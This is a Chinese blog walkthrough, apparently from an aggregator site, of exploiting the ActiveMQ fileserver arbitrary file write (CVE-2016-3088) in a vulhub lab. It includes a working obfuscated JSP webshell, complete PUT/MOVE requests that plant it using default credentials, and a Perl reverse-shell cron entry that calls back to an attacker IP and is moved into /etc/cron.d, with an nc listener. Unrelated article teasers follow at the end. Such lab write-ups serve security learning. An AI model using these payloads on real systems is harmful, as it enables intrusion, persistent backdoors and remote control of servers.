CVE-2016-3088(ActiveMQ任意文件写入漏洞)

漏洞描述

        1、漏洞编号:CVE-2016-3088

        2、影响版本:Apache ActiveMQ 5.x~5.13.0

        在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默认关闭了 fileserver 这个应用(不过,可以在conf/jetty.xml 中开启);在 5.14.0 版本后彻底删除了 fileserver 应用。【所以在渗透测试过程中要确定好 ActiveMQ 的版本,免去无用功】

漏洞介绍

        该漏洞出现在 fileserver 应用中,漏洞原理是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。所以我们只需写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。

写入文件方法

  • 写入 webshell
  • 写入 cron 或 ssh key 等文件
  • 写入 jar 或 jetty.xml 等库和配置文件

启动漏洞环境

docker-compose up -d

docker-compose ps 

访问 WEB 页面,版本在漏洞影响范围内

方法一:写入 webshell

【该方法的使用条件】

1、需要知道 ActiveMQ 的绝对路径

2、需要能登录 admin 或者 api

【分析条件】

1、ActiveMQ 的绝对路径可以通过 http://your-ip:8161/admin/test/systemProperties.jsp 页面获取,不过该页面需要登录才能访问。

2、获取用户名和密码,可以通过弱口令、暴力破解、社工等方法(不过题目已经给出了默认用户名和密码 admin/admin,这里就省去了这个步骤)

【解题思路】

进入页面

下一步,上传 webshell

需要把 webshell 上传到 fileserver,然后才能从 fileserver 转移。因为 ActiveMQ 是个 java 程序,因此需要传个 jsp webshell

直接在上图页面抓包即可,下面是刚抓到包后的样子,接下来对数据包进行修改

这是我们的 webshell 代码

<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

修改成下图所示,然后发送即可得到响应(204 表示操作成功)

然后在上面基础上继续修改该包,把 PUT 改成 MOVE ,然后在下一行添加

Destination: file:///opt/activemq/webapps/admin/1.jsp

用 MOVE 方法将 webshell 移动到 admin 所在文件夹,响应 204 表示操作成功

【当然了,移动到 api 下也是可以的,我这边移动到 admin 目录下】

接下来就可以使用蚁剑进行连接了【这里用的是 kali 中的蚁剑】

不知道 kali 中怎么使用蚁剑的看这里

VMware之kali安装中国蚁剑_kali如何打开蚁剑-CSDN博客

重点是记住 admin 应用是需要登录的,所以记得一定要在连接中添加 Authorization 头

Authorization:YWRtaW46YWRtaW4=

测试连接,连接成功

方法二:写入 ssh key

【前提条件】

1、需要运行 ActiveMQ 的用户有 root 权限

2、需要服务器开启了 ssh 服务,并且攻击机可以连接

【分析条件】

1、

发现该用户是 root 权限,条件一满足

2、可以使用 nmap 工具来探测服务器是否开启了 ssh 且可达

nmap -sV your-ip -p-

发现只开启了 8161、61616 端口且可达,没有开启 ssh 服务,所以条件二不满足,写入 ssh key 的方法行不通

方法三:写入 cron 拿反弹 shell

【前提条件】

1、需要运行 ActiveMQ 的用户有 root 权限

2、服务器开启了 cron 服务

3、运行 ActiveMQ 的用户有使用 crontab 的权限

【拓展】

1、cron 是 Linux 系统的守护进程,用于在特定时间自动执行重复任务。

2、标准 shell 是攻击者作为客户端去连接目标服务器;反弹 shell 是攻击者作为服务器,监听某端        口,而目标设备作为客户端主动连接攻击者

      应用场景:

      ①、目标机在局域网内

      ②、目标机 ip 地址是动态的

      ③、有防火墙等限制,目标机只能发请求,不能收请求

      ④、不确定目标机何时具备连接条件

【条件分析】

1、前面已经分析过了,确实是 root 权限

2、经过下列分析得到开启了 cron 服务(root 权限对该文件可读可写)

3、第三点条件默认情况是满足的,除非存在 cron.allow 或者 cron.deny 文件,但这两个文件在            vulhub 提供的漏洞环境中不存在,因此理论上可以写入 cron 拿反弹 shell

【cron.allow 文件和 cron.deny 文件】

cron.allow cron.deny 是限制 crontab 命令使用的用户名单。allow 是允许使用 crontab 命令的用户,deny 是不允许使用 crontab 命令的用户。

两份文件不一定都存在,在 Linux 中,会做如下规定:

(1)如果 cron.allow 文件存在但 cron.deny 文件不存在,那么在文件中写下的用户名,允许执行 crontab 命令。

(2)如果 cron.deny 文件存在但 cron.allow 文件不存在,那么在文件中写下的用户名,不允许执行 crontab 命令。

(3)如果两份文件都存在,那么只有 allow 文件具备优先权,只能使用 allow 文件来做限定用户。

(4)如果两份文件都不存在,那么会根据相关配置文件(depending on site-dependent configuration parameters),要么只有 root 用户允许执行该命令,要么所有的用户都能执行该命令。

【解题思路】

1、上传 cron 文件到 fileserver

2、把 cron 文件从 fileserver 移动到 /etc/cron.d/

2、攻击机上开启监听并等待反弹 shell 连接

反弹shell的方法总结 - FreeBuf网络安全行业门户

【内容截取自:vulhub ActiveMQ任意文件写入漏洞 (CVE-2016-3088) - FreeBuf网络安全行业门户】

/etc/cron.d 攻略_51CTO博客_/etc/cron.hourly

反弹 shell 内容:

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##

抓包上传

PUT /fileserver/cron.txt HTTP/1.1Host: 0.0.0.0:8161User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Basic YWRtaW46YWRtaW4=Connection: closeCookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jizUpgrade-Insecure-Requests: 1Content-Length: 254*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'##

上传成功,移动文件到目标目录中

MOVE /fileserver/cron.txt HTTP/1.1Destination: file:///etc/cron.d/rootHost: 0.0.0.0:8161User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Basic YWRtaW46YWRtaW4=Connection: closeCookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jizUpgrade-Insecure-Requests: 1Content-Length: 254*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'##

在终端输入

nc -l -p 7777 

输入完后等待即可

可以做一些操作

方法四:修改 jetty.xml

【前提条件】

1、需要知道 ActiceMQ 的绝对路径

2、需要有 jetty.xml 的写权限

【分析】

使用该方法主要是来突破 admin 应用和 api 应用的访问控制权限。大概就是修改 jetty.xml 文件。使 admin 和 api 应用不用登录,然后写入webshell

(通过大佬的文章还提供了另一种思路:修改 jetty-realm.properties 文件中的用户密码,不过由于 jetty.xml 中限制了用户名,所以修改 jetty-realm.properties 文件的方法还需要一个前提是知道用户名,这个方法相对上面那个麻烦)

【完整的攻击思路】

1、获取 ActiveMQ 的绝对路径

2、上传修改后的 jetty.xml 文件到 fileserver

3、转移上传的 jetty.xml 文件到 ActiveMQ 的绝对路径 /conf/jetty.xml,覆盖原本的 jetty.xml          文件,目的是绕过 admin 和 api 的登录

4、上传 webshell 到 fileserver

5、转移 webshell 到 admin 或 api 的目录下

6、连接 webshell

【目前我也没成功,也没有找到有成功的文章,都是写理论上可行,有推荐的兄弟和我说一下】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/693229.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【python】linux系统python报错“ssl module in Python is not available”

一、问题现象 1.1 执行pip命令报错 pip安装时遇到openssl问题&#xff0c;没办法安装第三方库 “WARNING: pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available. ” 1.2 导入import ssl 报错 直接执行python&…

C/C++ BM14 链表的奇偶重排

文章目录 前言题目解决方案一1.1 思路阐述1.2 源码 解决方案二2.1 思路阐述2.2 源码 总结 前言 这道题算是链表思路的一种常规题&#xff0c;看透题目本质做起来还是不难。 题目 描述 给定一个单链表&#xff0c;请设定一个函数&#xff0c;将链表的奇数位节点和偶数位节点分…

c语言实现bellman-ford算法

下面是使用C语言实现Bellman-Ford算法的示例代码。Bellman-Ford算法用于在带权重的图中找到从单个源点到所有其他顶点的最短路径,它也能处理图中包含负权重边的情况。 #include <stdio.h> #include <stdlib.h> #include <limits.h>// 定义边的结构 struct …

OutLook-2010——管理邮箱的工具

OutLook工具可用于管理邮箱、收发邮件等日常工作&#xff0c;在本书的邮局服务章节要使用到。 下载地址&#xff1a;OutLook-2010——管理邮箱的工具.zip

电脑开机蓝屏错误代码c000021a怎么办 电脑蓝屏报错c000021a的解决办法

很多小伙伴在电脑开机的时候出现蓝屏代码c000021a都不知道该怎么去解决&#xff0c;所以今天就给你们带来了c000021a蓝屏解救方法&#xff0c;如果你还没解决的话就快来看看吧。 解决办法&#xff1a; 原因&#xff1a; c000021a蓝屏的原因有很多&#xff0c;主要有以下几种…

四非保研之旅

大家好&#xff0c;我是工藤学编程&#xff0c;虽有万分感概&#xff0c;但是话不多说&#xff0c;先直接进入正题&#xff0c;抒情环节最后再说&#xff0c;哈哈哈 写在开头 我的分享是来给大家涨信心的&#xff0c;网上的大佬们都太强了&#xff0c;大家拿我涨涨信心&#…

【项目实践-03】实验室PC

透传属性 透传属性指组件在使用的时候&#xff0c;作用在组件上的属性&#xff0c;会被向下流动&#xff0c;绑定到组件内的标签中。 可以透传的属性&#xff1a;style&#xff0c;class&#xff0c;id&#xff0c;属性&#xff0c;事件 当一个组件有多个根标签节点时&#xf…

Spring Framework

Spring Framework Spring 是一款开源的轻量级 Java 开发框架&#xff0c;旨在提高开发人员的开发效率以及系统的可维护性。 Spring 框架指的都是 Spring Framework&#xff0c;它是很多模块的集合&#xff0c;如下图所示&#xff1a; 一、Core Container Spring 框架的核心模…

Android的消息机制--Handler

一、四大组件概述 Android的消息机制是由Handler、Message、MessageQueue&#xff0c;Looper四个类支撑&#xff0c;撑起了Android的消息通讯机制&#xff0c;Android是一个消息驱动系统&#xff0c;由这几个类来驱动消息与事件的执行 Handler&#xff1a; 用来发送消息和处…

纯css实现文字左右循环滚动播放效果

思路&#xff1a;由两个span模块组成&#xff0c;第一个为空的span内容&#xff0c;为的是实现第二个span内容缓慢出现的效果。 代码如下&#xff1a; <div class"scrollingStyle"><span class"first-marquee"></span><span class&q…

Samba是什么?有什么作用?工作流程以及如何搭建

前言&#xff1a; 寒假在家学习Linux近一个月了&#xff0c;最近参加了嘉立创组织的泰山派训练营&#xff0c;从中了解到了现在Linux开发中很方便的一些开发方式和工具。例如&#xff1a;使用MobaXterm终端通过SSH登陆ubuntu服务器进行开发&#xff1b;安装一个FileZilla工具通…

定制线缆厂家推荐:赋能科技互联,精工电联的集成线缆定制服务(小批量、多品类产品高效解决方案)

定制线缆 精工电联&#xff1a;赋能科技互联&#xff0c;精工电联的集成线缆定制服务&#xff08;小批量、多品类产品高效解决方案&#xff09; 随着科技的飞速发展&#xff0c;人们对数据传输速度和稳定性的需求日益增强。精工电联作为高科技智能化产品及自动化设备专用连接线…

第二证券:汽车产业链股爆发,中通客车涨停,星源卓镁等大涨

轿车产业链股21日盘中强势拉升&#xff0c;截至发稿&#xff0c;华阳变速涨超29%&#xff0c;星源卓镁涨超15%&#xff0c;德迈仕涨逾10%&#xff0c;中捷精工、中通客车、合力科技、圣龙股份等涨停。 行业方面&#xff0c;中国轿车工业协会近来公布数据显示&#xff0c;1月&a…

【快速搞定Webpack5】介绍及基本使用(一)

webpack 是一个静态资源打包工具。 他会以一个或多个文件作为打包的入口&#xff0c;将我们整个项目所有文件编译组合成一个或多个文件输出出去。 输出的文件就是编译好的文件&#xff0c;就可以在浏览器端运行了。 我们将 webpack 输出的文件叫做 bundle 。 (将浏览器不识别的…

wo-gradient-card是一款采用uniapp实现的透明辉光动画卡片

采用uniapp-vue3实现&#xff0c;透明辉光动画卡片&#xff0c;卡片内容包含标签、标题、副标题、图片 支持H5、微信小程序&#xff08;其他小程序未测试过&#xff0c;可自行尝试&#xff09; 可用于参考学习 可到插件市场下载尝试&#xff1a; https://ext.dcloud.net.cn/plu…

【Swift】NSSearchField用法和示例

1.简介 NSSearchField 是 macOS 中用于搜索的文本输入框控件&#xff0c;通常用于实现搜索功能。用户可以在 NSSearchField 中输入搜索关键字&#xff0c;然后触发搜索操作。NSSearchField 可以显示搜索图标和清除按钮&#xff0c;还可以设置占位符文本等属性。 2.常用方法 …

学习鸿蒙基础(5)

一、honmonyos的page路由界面的路径 新建了一个page,然后删除了。运行模拟器的时候报错了。提示找不到这个界面。原来是在路由界面没有删除这个page。新手刚接触找了半天才找到这个路由。在resources/base/profile/main_pages.json 这个和微信小程序好类似呀。 吐槽&#xf…

(3)(3.5) 遥测无线电区域条例

文章目录 前言 1 支持不同国家/地区 前言 本专题列出了每个国家/地区可用的主要频率&#xff0c;并列出了无线电设备。 &#xff01;Note 合规是你的责任。检查无线电是否符合所在地区/国家的频率、跳频信道和功率级别规定。 &#xff01;Tip 我们很乐意在此表中添加更多…

初探富文本之文档diff算法

初探富文本之文档diff算法 当我们实现在线文档的系统时&#xff0c;通常需要考虑到文档的版本控制与审核能力&#xff0c;并且这是这是整个文档管理流程中的重要环节&#xff0c;那么在这个环节中通常就需要文档的diff能力&#xff0c;这样我们就可以知道文档的变更情况&#…

力扣精选算法100道——提莫攻击(模拟专题)

目录 &#x1f6a9;题目解析 &#x1f6a9;算法原理 &#x1f6a9;实现代码 &#x1f6a9;题目解析 输入&#xff1a;timeSeries [1,4], duration 2 输出&#xff1a;4 解释&#xff1a;提莫攻击对艾希的影响如下&#xff1a; - 第 1 秒&#xff0c;提莫攻击艾希并使其立即…